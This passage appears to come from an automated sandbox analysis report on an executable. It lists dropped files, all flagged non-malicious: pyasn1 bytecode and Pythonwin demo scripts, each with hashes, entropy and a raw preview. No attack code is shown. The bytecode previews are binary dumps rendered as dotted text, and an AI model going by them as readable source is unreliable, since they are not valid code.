Preview:	o.........Sg.........................@...s....d.d.d...Z.d.S.).F.....c....................C...sJ...t.\|.....\|...}.\|.r.\|.d...d.k.r.\|.d.7.}.\|.j.\|.d...\|.d...r.d.p.d...d.\|.d...S.).N.....r...........big)...signed)...max..bit_length..to_bytes)...valuer......length..r.....8C:\recover\pw\lib\site-packages\pyasn1\compat\integer.pyr........s..........$.r....N).Fr....).r....r....r....r....r......<module>....s......

C:\recover\pw\Lib\site-packages\pyasn1\type\pycache\init.cpython-310.pyc.75993120

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	148
Entropy (8bit):	4.332337160658896
Encrypted:	false
SSDEEP:	3:y/BNllCuleh/wZWeVx2MWkVWrzL1KLLikcTgp:y/6qeh/wvIkArdKLLy4
MD5:	FE5FF4C9D252A927AF5E5446FF88A537
SHA1:	44CB8CC5A0266E969035332C88460EB463E00B22
SHA-256:	129F7BC88410ED5228285E8A3DAF0582B0C96D286ED6A5BBC8CD63D8301FABCF
SHA-512:	2104B59E08F0AC5863D4FC20D5ACA7512DB7E9D1308634F9C9FB35F5CDCFEC1971D52E2BCBE0C92CB104B6B8D985B68864909A37EF6DBDF30F9C3399D319C01B
Malicious:	false
Preview:	o.........Sg;........................@...s....d.S.).N..r....r....r.....7C:\recover\pw\lib\site-packages\pyasn1\type\__init__.py..<module>....s......

C:\recover\pw\Lib\site-packages\pyasn1\type\pycache\base.cpython-310.pyc.76527576

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	21808
Entropy (8bit):	5.250890008321021
Encrypted:	false
SSDEEP:	384:Bd+3khvV7gSPy9VQYmqBB00ygtfUxWsKRwghM+AgSbCiFFQQVXycnSC1MtIdtcVp:BMkhvV7gSPy9VQYmqBB00ygRUxWsKRwk
MD5:	47B9C6A1D310B5A7F07C732ED260B18B
SHA1:	56B20EF6CD28E4CE7B48B2BECCA6D892B06F0C64
SHA-256:	921BA4157C920E10B1D81FB1EFB3519F1D7439E03EA996B618F0E644C5FFA559
SHA-512:	44273AE348D73BFC50ABB68FA3F5BB0DB88D5FF68B60F0B70E02996F83905499F35732371D20B2F4A369ECE9B0A980A8D51023FF436E244184579A70B97A5D0B
Malicious:	false
Preview:	o.........Sg"V.......................@...s....d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.e.Z.G.d.d...d.e...Z.e...Z.G.d.d...d.e...Z.e.Z.G.d.d...d.e...Z.e.Z.d.S.)......N)...error)...constraint)...tag)...tagmap)...Asn1Item..Asn1Type..SimpleAsn1Type..ConstructedAsn1Typec....................@...s....e.Z.d.Z.e.d.d.d.....Z.d.S.).r.........c....................C...s4...z.t...j.\|.7..._.W.t.j.S...t.y.......\|.t._.Y.t.j.S.w...N).r....Z._typeCounter..AttributeError)...cls..increment..r.....3C:\recover\pw\lib\site-packages\pyasn1\type\base.py..getTypeId....s..................z.Asn1Item.getTypeIdN).r....)...__name__..__module__..__qualname__..classmethodr....r....r....r....r....r........s..........r....c....................@...s....e.Z.d.Z.d.Z.e.....Z.e.....Z.d.Z.d.d...Z.d.d...Z.d.d...Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.d#d.d...Z.d#d.d...Z.e.d.d.....Z.d$d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d ..Z.d!d"..Z.d.S.)%r....a>...Base class for all classes rep

C:\recover\pw\Lib\site-packages\pyasn1\type\pycache\char.cpython-310.pyc.76432432

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	5577
Entropy (8bit):	5.093444284457557
Encrypted:	false
SSDEEP:	96:WhAsswL3b31sUQblFm1dSGaL4in/lqaW5P3ftlSCowp9yQu9MURWu3nph9K:2Asbz1s9bn3GaEicaWR3f2+9ruSURWu8
MD5:	73FD2F7A66514D4B02FE5C5D3AAE1A71
SHA1:	74EA84DA3883042A6AEBD86ABCF0EE1C174C837F
SHA-256:	8ED6369C78E5D0D259C6D0526646D4A71CBBAB54DCBEE8A8F3378A04E09686C5
SHA-512:	B618C66110FC51578D82D1B0243240FDDD99D807AAC0647FC4854FE3AD2E61DD55836FDC4880CF8F72E006C0AA90A61993A7F24C00D0D83D3FAD696E56B1F7AC
Malicious:	false
Preview:	o.........Sg.$.......................@...s&...d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z.e.j.Z.e.j.Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d d!..d!e...Z.d.S.)".....N)...error)...tag)...univ)...NumericString..PrintableString..TeletexString..T61String..VideotexString..IA5String..GraphicString..VisibleString..ISO646String..GeneralString..UniversalString..BMPString..UTF8Stringc....................@...sV...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.d.d...Z.d.d...Z.d.S.)...AbstractCharacterStringa....Creates \|ASN.1\| schema or value object... \|ASN.1\| class is based on :class:`~pyasn1.type.base.SimpleAsn1Type`,. its objects are immutable and duck-type :class:`bytes`.. When used in octet-stream context, \|ASN.1\| type assumes. "\|encoding\|" encoding... Keyword Args. -----------

C:\recover\pw\Lib\site-packages\pyasn1\type\pycache\constraint.cpython-310.pyc.75994240

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	23692
Entropy (8bit):	5.13140671385889
Encrypted:	false
SSDEEP:	384:zYMrgCqqRCO/Wsd9fTiuYOseVCTet2K4fnORtAlxkVUjNptXeW8na+MVMru:8XCNRDxBGlO3VmrfnORtUkC1eW6XMVMi
MD5:	14DADE49F9B4F1F36A6134D3445C314C
SHA1:	1224E9742999663B438D677D70F4C867C6943EF9
SHA-256:	76C874CDD8875516A66379493A30790E9F76392AA79CF1483BFB070F904597B0
SHA-512:	58B5BCB3DB5FA4155A187A46B67BF0F07C29F01271CF1DA1BD1C433C48717B5E578A0076FCBF8ED924F982B29BDFD0D46272BD008987DD79566D8C1DFC90D639
Malicious:	false
Preview:	o.........Sg.U.......................@...s....d.d.l.Z.d.d.l.m.Z...g.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.) .....N)...error)...SingleValueConstraint..ContainedSubtypeConstraint..ValueRangeConstraint..ValueSizeConstraint..PermittedAlphabetConstraint..InnerTypeConstraint..ConstraintsExclusion..ConstraintsIntersection..ConstraintsUnionc....................@...s....e.Z.d.Z.d.d...Z.d"d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.d.S.)#..AbstractConstraintc....................G...s*...t...\|._.\|...\|.....t.\|.j.j.\|.j.f...\|._.d.S...N)...set.._valueMap.._setValues..hash..__class__..__name__.._values.._AbstractConstraint__hash....self..values..r.....9C:\recover\pw\lib\site-packages\pyasn1\type\constraint.py..__init__....s..........z

C:\recover\pw\Lib\site-packages\pyasn1\type\pycache\error.cpython-310.pyc.76086560

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	364
Entropy (8bit):	4.601999574128251
Encrypted:	false
SSDEEP:	6:y/FFYNbsu3gMlCep2AInXx9YLIKP66GS9o57kArdKxqXKUeh/QGD7/W+ho:CcNQEgYCeeQ22xsneh/j7/W+ho
MD5:	DA3BB338EB85A4D928E0B078C44F6501
SHA1:	E24F78669C6C09B8AE6EAEC21AF8790960A5335D
SHA-256:	87FDF9D93420ACD4D06F1936FD9D05EF4A573EB68F5074F123E3CF42F6C701C9
SHA-512:	A91AF44519AC9C0EA3D2E0CC61C8618D8FB1A908FA35F3DC2796B18C7FDA1B13EA20703EE95DFFE221858D5C91E25DB03AE2E3395F22373E7C7EFF3B3EC03B7B
Malicious:	false
Preview:	o.........Sg.........................@...s ...d.d.l.m.Z...G.d.d...d.e...Z.d.S.)......)...PyAsn1Errorc....................@...s....e.Z.d.Z.d.S.)...ValueConstraintErrorN)...__name__..__module__..__qualname__..r....r.....4C:\recover\pw\lib\site-packages\pyasn1\type\error.pyr........s........r....N).Z.pyasn1.errorr....r....r....r....r....r......<module>....s........

C:\recover\pw\Lib\site-packages\pyasn1\type\pycache\namedtype.cpython-310.pyc.75995360

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	18315
Entropy (8bit):	5.137673557011776
Encrypted:	false
SSDEEP:	384:rsQFyFRXOxlx+se3L2qeWNqb4UF1ducijQxfA3HtADIrt:VFeql8sgL2HWNq8UF1ducijQxf2rt
MD5:	AE7F061FEBE29432FCE6889F8E632BBE
SHA1:	1C55599FC7675D3AFDF464D229EEC5E142D4D4D3
SHA-256:	A23443E4CEB50D8C7A3591A3375923DCE6D90E33F6A3EE4BCAD180A45DCEBDB3
SHA-512:	36D512E87A95D586D83393050FC68B9DB065E0C80C772D0337C238EF2BACE66BCA2D402B27A9C401A02AAF97FC1F24A68FE929664A57E758755B14E85A7190DB
Malicious:	false
Preview:	o.........Sg3?.......................@...sx...d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.)......N)...error)...tag)...tagmap)...NamedType..OptionalNamedType..DefaultedNamedType..NamedTypesc....................@...s....e.Z.d.Z.d.Z.d.Z.d.Z.d$d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.d d!..Z.d"d#..Z.d.S.)%r....a....Create named field object for a constructed ASN.1 type... The \|NamedType\| object represents a single name and ASN.1 type of a constructed ASN.1 type... \|NamedType\| objects are immutable and duck-type Python :class:`tuple` objects. holding name and asn1Object components... Parameters. ----------. name: :py:class:`str`. Field name.. asn1Object:. ASN.1 type object. FNc....................C...s ...\|.\|._.\|.\|._.\|.\|.f.\|._.\|.\|._.d.S...N)..._NamedType__name.._NamedType__type.._NamedType__na

C:\recover\pw\Lib\site-packages\pyasn1\type\pycache\namedval.cpython-310.pyc.75995360

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	5456
Entropy (8bit):	5.130161800793977
Encrypted:	false
SSDEEP:	96:i7bLr4jGns+GAwQvrrmPzKJzXzr72pL2LWHbIGpwhShNC4nxxrWqYx5qiwd:hjcs+GAwQTrmGh2pgWHkGOkhVnxxrahY
MD5:	1BE870F774D80746739B32E153D28257
SHA1:	F2A25AF0A442851019912C8C870B515E0EA64277
SHA-256:	DF71F8AF19EE53D029EDE577CE6DE4A69800175CA468F02CD5D1DD9E3207BE72
SHA-512:	DD2710C85E8421EDA199DEABEBAA71747CDB1535EC802906392CB4DF0930C277792EFEFE49162B541DDA80155EE2AFE5409D77DC31997A9D79D913AF8CCA55CA
Malicious:	false
Preview:	o.........Sg#........................@...s&...d.d.l.m.Z...d.g.Z.G.d.d...d.e...Z.d.S.)......)...error..NamedValuesc....................@...s....e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.d"d#..Z.d$d%..Z.d&d'..Z.d(d)..Z.dd+..Z.d,S.)-r....a....Create named values object... The \|NamedValues\| object represents a collection of string names. associated with numeric IDs. These objects are used for giving. names to otherwise numerical values... \|NamedValues\| objects are immutable and duck-type Python. :class:`dict` object mapping ID to name and vice-versa... Parameters. ----------. args: variable number of two-element :py:class:`tuple`.. name: :py:class:`str`. Value label.. value: :py:class:`int`. Numeric value.. Keyword Args. ------------. name: :py:class:`str`. Value label.. value: :py:class:`int`. Numeric valu

C:\recover\pw\Lib\site-packages\pyasn1\type\pycache\tag.cpython-310.pyc.75886168

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	10177
Entropy (8bit):	5.0207802468643665
Encrypted:	false
SSDEEP:	192:XOjGsnVvD7K+qqlTckRWnzSO4U/KNrNr2RPb0qn:mHnV77/HRWnZ4U/xb0q
MD5:	7DADD6B730CC4F037D26FB5DCD660B40
SHA1:	E442823EB30BA6D695C30607546CBD56D1C83CB7
SHA-256:	B7ED901C35E26974F4220919D25E2AC7397B02D2B5C19B2F0B9C4C45B251A5D4
SHA-512:	10113D93EBE24244CD94E43703FEBB0D7FE1C27A005F8613FAAB41CA0EB92C40392DDBB4BCD597938966D96800C786D9636C5A6472F3F6B5AA258C9418498328
Malicious:	false
Preview:	o.........Sg.%.......................@...sd...d.d.l.m.Z...g.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.d...Z.d.S.)......)...error)...tagClassUniversal..tagClassApplication..tagClassContext..tagClassPrivate..tagFormatSimple..tagFormatConstructed..tagCategoryImplicit..tagCategoryExplicit..tagCategoryUntagged..Tag..TagSet.@............. ..................c....................@...s....e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.d.d.....Z.e.d.d.....Z.e.d d!....Z.d"S.)#r....a....Create ASN.1 tag.. Represents ASN.1 tag that can be attached to a ASN.1 type to make. types distinguishable from each other... Tag objects are immutable and duck-type Python :class:`tuple` objects. holding three integer components of a tag... Parameters. ----------. tagClass: :py:class:`int`. Tag class value.. tagFormat: :py:class:`int`. Tag format value.. tagId: :

C:\recover\pw\Lib\site-packages\pyasn1\type\pycache\tagmap.cpython-310.pyc.76086872

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	3277
Entropy (8bit):	5.117284461667268
Encrypted:	false
SSDEEP:	96:rt0P0oyge+xYwfuh9DYlaO+6HNvXHpqEo:rt0P0oLnGwmz8HNgEo
MD5:	18CFDC27EE6933BC4102CB90E989B9F8
SHA1:	90F4DF027FB5D14F54DE2EA48304BE3BCE6B5C64
SHA-256:	47434C943DE6318083E962C994568BD4C8454DEB3ADB4A602B204A0CF4566FA5
SHA-512:	F82E633A5FDB7448867202A55CDD6B6650885F306D33E58E9795A29D99544CFF41A852DDC03C5344CCA7C07D80F3F329ECE90EA01523103123A3E45184C7C229
Malicious:	false
Preview:	o.........Sg.........................@...s&...d.d.l.m.Z...d.g.Z.G.d.d...d.e...Z.d.S.)......)...error..TagMapc....................@...sv...e.Z.d.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.S.).r....aF...Map TagSet objects to ASN.1 types.. Create an object mapping TagSet object to ASN.1 type... TagMap objects are immutable and duck-type read-only Python. :class:`dict` objects holding TagSet objects as keys and ASN.1. type objects as values... Parameters. ----------. presentTypes: :py:class:`dict`. Map of :class:`~pyasn1.type.tag.TagSet` to ASN.1 objects considered. as being unconditionally present in the TagMap... skipTypes: :py:class:`dict`. A collection of :class:`~pyasn1.type.tag.TagSet` objects considered. as absent in the TagMap even when defaultType is present... defaultType: ASN.1 type object. An ASN.1 type object callee TagMap returns for

C:\recover\pw\Lib\site-packages\pyasn1\type\pycache\univ.cpython-310.pyc.76061776

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	93750
Entropy (8bit):	5.298856207688844
Encrypted:	false
SSDEEP:	1536:/lNBPPmHi1lw8zdxtKNaRdsSxRQxZvzEIAYWTJdqH/uN6xjjQT/8kKXDlCydymtD:/fw8pxtKNaRdsSxRQxZvzEIAYWTJdqH1
MD5:	4DB4DC454D2DB3762B60F0376922CBD6
SHA1:	5F4307BFDBB986A457B0AF6F06C2A19580AAEAD1
SHA-256:	9EA78A54AD7E99B18713AE9157E1E8A7003826A39528C6906C60FD77B77C7512
SHA-512:	8F0A8B6CA526E7B1ED2BA9FBA479E756A156D9847098305CC9B29F7EDCF01326468EFA7D88FE862CE293F6C201E91029A45C1193E88AC1508D0FB2D223C72D80
Malicious:	false
Preview:	o.........Sg.........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.j.Z.e...Z.g.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d d!..d!e.j...Z.G.d"d#..d#e...Z G.d$d%..d%e...Z!G.d&d'..d'e.j...Z"G.d(d)..d)e"..Z#G.d*d+..d+e"..Z$G.d,d-..d-e$..Z%G.d.d/..d/e...Z&d.S.)0.....N)...error)...eoo)...integer)...base)...constraint)...namedtype)...namedval)...tag)...tagmap)...Integer..Boolean..BitString..OctetString..Null..ObjectIdentifier..Real..Enumerated..SequenceOfAndSetOfBase..SequenceOf..SetOf..SequenceAndSetBase..Sequence..Set..Choice..Any..NoValue..noValuec....................@...s....e.Z.d.Z.d.Z.e...e...e.j.e.j.d.....Z.e.....Z.e.....Z.e.j.....Z.e.f.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z d.d...Z!d.d...Z"

C:\recover\pw\Lib\site-packages\pyasn1\type\pycache\useful.cpython-310.pyc.76435032

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	4380
Entropy (8bit):	5.416385729020663
Encrypted:	false
SSDEEP:	96:paHaqgsioPefkBzr3Acd0XPSWhXgxTdeqTALFI8WoTFfI7YHpiZA:PTaIklA00/Sc6nTgFIDoJg7YHJ
MD5:	E30075996DB8198212D1B024514F4E4B
SHA1:	5140A18B147E74BC6C41C1E99078775E089DD474
SHA-256:	FA530F597BEE9076749346E4365DF2519F37B8F90B0B5D1CEDE7C6955281385A
SHA-512:	B232CA04263581A664F53B5D26B44750B16B935C4A5EEE470A06D7D7AF2BE18F6413EE13DFB4E46130B390B516592232492F9AA6B99E71ABCEDE475FF7259C62
Malicious:	false
Preview:	o.........Sg.........................@...s....d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z.e.j.Z.e.j.Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e.j.e...Z.G.d.d...d.e.j.e...Z.d.S.)......N)...error)...char)...tag)...univ)...ObjectDescriptor..GeneralizedTime..UTCTimec....................@...s:...e.Z.d.Z.e.j.j.Z.e.j.j...e...e.j.e.j.d.....Z.e.j.....Z.d.S.).r.........N)...__name__..__module__..__qualname__r......GraphicString..__doc__..tagSet..tagImplicitlyr......Tag..tagClassUniversal..tagFormatSimple..getTypeId..typeId..r....r.....5C:\recover\pw\lib\site-packages\pyasn1\type\useful.pyr........s................r....c....................@...sL...e.Z.d.Z.d.Z.d.Z.d.Z.d.Z.G.d.d...d.e.j...Z.e...Z.e.d.d.....Z.e.d.d.....Z.d.S.)...TimeMixIn.....Fc....................@...s2...e.Z.d.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.).z.TimeMixIn.FixedOffsetz&Fixed offset in minutes east from UTC.r......UTCc....................C...s....t.j.\|.d...\|._.\|.\|._.d.S.).N)...minutes)...datetime

C:\recover\pw\Lib\site-packages\pythonwin\pywin\Demos\guidemo.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2709
Entropy (8bit):	4.491038307415068
Encrypted:	false
SSDEEP:	48:0kg2g3zeqdFSLlcMGfmTeg24Kjvx3RRV6Wwn:hgfRcca92PvxbVwn
MD5:	52EA743C9A5F7CFCC05CF59610DF6422
SHA1:	83D3CB7B21E5B5C07B24A947F53240A42A9529BF
SHA-256:	23AE39A4E5BE89FA81F2DF290AC79BF83C4A2D24026D81EDCCBB3474E5E3EE71
SHA-512:	44CE3E58DF0A4395C6359176EFBE8D731D64DD6EA55442B443FEF270EB5DD03860A661EA664CC4C4907447C365363E47375EDCF9AB0967F398AF9FC42F96E331
Malicious:	false
Preview:	# GUI Demo - just a worker script to invoke all the other demo/test scripts..import sys..import __main__.import regutil.import win32api.import win32ui..demos = [ # .('Font', 'import fontdemo;fontdemo.FontDemo()'),. ("Open GL Demo", "import openGLDemo;openGLDemo.test()"),. ("Threaded GUI", "import threadedgui;threadedgui.ThreadedDemo()"),. ("Tree View Demo", "import hiertest;hiertest.demoboth()"),. ("3-Way Splitter Window", "import splittst;splittst.demo()"),. ("Custom Toolbars and Tooltips", "import toolbar;toolbar.test()"),. ("Progress Bar", "import progressbar;progressbar.demo()"),. ("Slider Control", "import sliderdemo;sliderdemo.demo()"),. ("Dynamic window creation", "import createwin;createwin.demo()"),. ("Various Dialog demos", "import dlgtest;dlgtest.demo()"),. ("OCX Control Demo", "from ocx import ocxtest;ocxtest.demo()"),. ("OCX Serial Port Demo", "from ocx import ocxserialtest;.ocxserialtest.test()"),. (. "IE4 Control Demo",.

C:\recover\pw\Lib\site-packages\pythonwin\pywin\Demos\hiertest.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3766
Entropy (8bit):	4.7759365871499115
Encrypted:	false
SSDEEP:	96:tAvEDSXSimgEb36/O2W9NebOVQOVDsEuExIczHUQ:tWE7/mJWreyNdxf0Q
MD5:	27345B318FAE042B9638336FAB47DC65
SHA1:	ACEB5D20D5E013458366D1EFF0BEFC25E6DF3E0E
SHA-256:	5002F752137A85F1EAD040A6B763F6B1B18D159E19CDF618CAEC411D1DA2D6C0
SHA-512:	7D6198D2D03764F3C12CE796DB74532B0930107409E832879AD20F9765334BFF34CD20E6DF34C8BB69348648476436AE1660F699D97890FA3C23FC4011849C63
Malicious:	false
Preview:	import os..import commctrl.import win32ui.from pywin.mfc import docview, window.from pywin.tools import hierlist...# directory listbox.# This has obvious limitations - doesnt track subdirs, etc. Demonstrates.# simple use of Python code for querying the tree as needed..# Only use strings, and lists of strings (from curdir()).class DirHierList(hierlist.HierList):. def __init__(self, root, listBoxID=win32ui.IDC_LIST1):. hierlist.HierList.__init__(self, root, win32ui.IDB_HIERFOLDERS, listBoxID).. def GetText(self, item):. return os.path.basename(item).. def GetSubList(self, item):. if os.path.isdir(item):. ret = [os.path.join(item, fname) for fname in os.listdir(item)]. else:. ret = None. return ret.. # if the item is a dir, it is expandable.. def IsExpandable(self, item):. return os.path.isdir(item).. def GetSelectedBitmapColumn(self, item):. return self.GetBitmapColumn(item) + 6 # Use different col

C:\recover\pw\Lib\site-packages\pythonwin\pywin\Demos\menutest.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	490
Entropy (8bit):	4.790457084981066
Encrypted:	false
SSDEEP:	6:Sq3VGrAF3xMjLmJVwUXYQ3EAjpAeoQbk/AIL/hXwlfNI6lmH4yHFS31l0rcb5b+1:JUk4LmbLU2pJxIIIThPGo41ldx+1
MD5:	B85C91F60CCD40AFA34E217F6C730DEB
SHA1:	4254190DC95206CD2DE7DC75E0A11844D623B862
SHA-256:	9B32896D9931F16907578519A48A5172BA8F257D64F65C41C327ACF1948DB1D8
SHA-512:	7EDA504EFF850B8784A862353532F8DEAFFBE742DE7840C55600561C907202300237702217840CB8E3D381FAFC19A791960B37213942413BDF34A4CDD05DD93F
Malicious:	false
Preview:	# Run this as a python script, to gray "close" off the edit window system menu..import win32con.from pywin.framework import interact..if __name__ == "__main__":. import demoutils.. if demoutils.NeedGoodGUI():. win = interact.edit.currentView.GetParent(). menu = win.GetSystemMenu(). id = menu.GetMenuItemID(6). menu.EnableMenuItem(id, win32con.MF_BYCOMMAND \| win32con.MF_GRAYED). print("The interactive window's 'Close' menu item is now disabled.").

C:\recover\pw\Lib\site-packages\pythonwin\pywin\Demos\objdoc.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	4.598187757077594
Encrypted:	false
SSDEEP:	24:qGpxE2ahvgtBXKTAESwAHplowG/hfMLy+FLjbABS/AYmXDf8b0zaFlBpJn:Rpxba0KTMwIpvG/9+tjbv/1qmFlB/n
MD5:	9EF7E46AFDD9638F0B839B9A5CB199D4
SHA1:	D0E85A815263617BDDB74084BDAD38D8B36153C0
SHA-256:	BE40CA9EB9BFDDF7D3B6B506E8E11E22746BC9A970ED1705B873F871968CBCBC
SHA-512:	9F377F2ECB233A826EECC7008848C7AD4BA2A171A57E33F85F002D8E2EC65A8111F35B8A68E7CE2333A7AB7D59B2975042203980602BF936AA034F8A19493878
Malicious:	false
Preview:	# This is a sample file, and shows the basic framework for using an "Object" based.# document, rather than a "filename" based document..# This is referenced by the Pythonwin .html documentation...# In the example below, the OpenObject() method is used instead of OpenDocumentFile,.# and all the core MFC document open functionality is retained...import win32ui.from pywin.mfc import docview...class object_template(docview.DocTemplate):. def __init__(self):. docview.DocTemplate.__init__(self, None, None, None, object_view).. def OpenObject(self, object): # Use this instead of OpenDocumentFile.. # Look for existing open document. for doc in self.GetDocumentList():. print("document is ", doc). if doc.object is object:. doc.GetFirstView().ActivateFrame(). return doc. # not found - new one.. doc = object_document(self, object). frame = self.CreateNewFrame(doc). doc.OnNewDocument().

C:\recover\pw\Lib\site-packages\pythonwin\pywin\Demos\ocx\demoutils.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1501
Entropy (8bit):	4.880256056364068
Encrypted:	false
SSDEEP:	24:Pbg7AU1OuFkM/mpDbOXIacP8iSig1FZa4Qcbs53mVQ7Y1AsI1W6OTpb:zg7RHNYacPSia0LcbsoYY1Amt
MD5:	EA40A2E7FA0D59B4FBA8E17624001F16
SHA1:	4AB2487C5DE2CF2787F744CBF43B6679F008AFDF
SHA-256:	98C8D8EFCA13834E1C7288BE825DBFB5165E0D00BDD25E22123147ED63A757E8
SHA-512:	C2B9FC28E717FE17A5F99B2B78AFB2B4489A76F964F984C35227D4A25927660D5140333E5C4AEAA201074B45FC2A4A64C036340394E64C5F7ADBCCECF52CFAB9
Malicious:	false
Preview:	# Utilities for the demos..import sys..import win32api.import win32con.import win32ui..NotScriptMsg = """\.This demo program is not designed to be run as a Script, but is.probably used by some other test program. Please try another demo.."""..NeedGUIMsg = """\.This demo program can only be run from inside of Pythonwin..You must start Pythonwin, and select 'Run' from the toolbar or File menu."""...NeedAppMsg = """\.This demo program is a 'Pythonwin Application'...It is more demo code than an example of Pythonwin's capabilities...To run it, you must execute the command:.pythonwin.exe /app "%s"..Would you like to execute it now?."""...def NotAScript():. import win32ui.. win32ui.MessageBox(NotScriptMsg, "Demos")...def NeedGoodGUI():. from pywin.framework.app import HaveGoodGUI.. rc = HaveGoodGUI(). if not rc:. win32ui.MessageBox(NeedGUIMsg, "Demos"). return rc...def NeedApp():. import win32ui.. rc = win32ui.MessageBox(NeedAppMsg % sys.argv[0], "Demos", win32

C:\recover\pw\Lib\site-packages\pythonwin\pywin\Demos\ocx\flash.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3019
Entropy (8bit):	4.928109370801704
Encrypted:	false
SSDEEP:	48:EI3lvFKgppcWFkRC2Y5icp7SBpsHOPQoOL4w1YzBBgVCi6jgIPOUhVA5Os+YpsuW:EMsgpPx5Rp7ypUOIzLNaVs76jgI2J5OT
MD5:	8EB47FD8B69A81F278B4ABE11DC245FD
SHA1:	72E0F17EE9D8AE16D436E26459F4743B0CB28D96
SHA-256:	46B673EBB38C49A54880E80C2393A8CDC1E624876DF3BE579ACF50695A68B62D
SHA-512:	C38B67626D233229A089F1FB1DF0F25882173D59637D3151CC6143DBD41E454BC5A35A52664E64B0FF40DF538E88E5C9D3D57E5F60FF2662A4A5F99BEC1CA142
Malicious:	false
